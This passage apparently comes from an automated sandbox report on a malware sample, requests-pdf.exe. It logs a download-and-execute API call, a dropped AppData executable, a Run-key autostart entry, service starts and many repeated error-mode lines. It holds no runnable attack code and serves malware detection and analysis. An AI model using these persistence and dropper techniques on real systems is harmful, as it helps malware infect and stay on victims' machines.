              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_024F724F push edx; retf 15_2_024F7252
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0252425D push ecx; ret 15_2_02524270
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0251409D push esi; ret 15_2_0251409F
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_02546116 push ecx; ret 15_2_02546129
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_02546A47 push eax; ret 15_2_02546A65
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_02505EC9 push edi; ret 15_2_02505ECA
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_02505C73 push esp; ret 15_2_02505C74
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_004567E0 push eax; ret 25_2_004567FE
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0045B9DD push esi; ret 25_2_0045B9E6
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_00463EF3 push ds; retf 25_2_00463EEC
              Source: requests-pdf.exeStatic PE information: section name: .text entropy: 7.595819236956853
              Source: yavascript.exe.0.drStatic PE information: section name: .text entropy: 7.595819236956853
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00406128 ShellExecuteW,URLDownloadToFileW,0_2_00406128
              Source: C:\Users\user\Desktop\requests-pdf.exeFile created: C:\Users\user\AppData\Roaming\xenor\yavascript.exeJump to dropped file

              Boot Survival

              barindex
              Creates autostart registry keys with suspicious names
              Source: C:\Users\user\Desktop\requests-pdf.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Rmc-I7G983Jump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00419BC4 OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,0_2_00419BC4
              Source: C:\Users\user\Desktop\requests-pdf.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Rmc-I7G983Jump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Rmc-I7G983Jump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0041BCE3 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,0_2_0041BCE3
              Source: C:\Users\user\Desktop\requests-pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
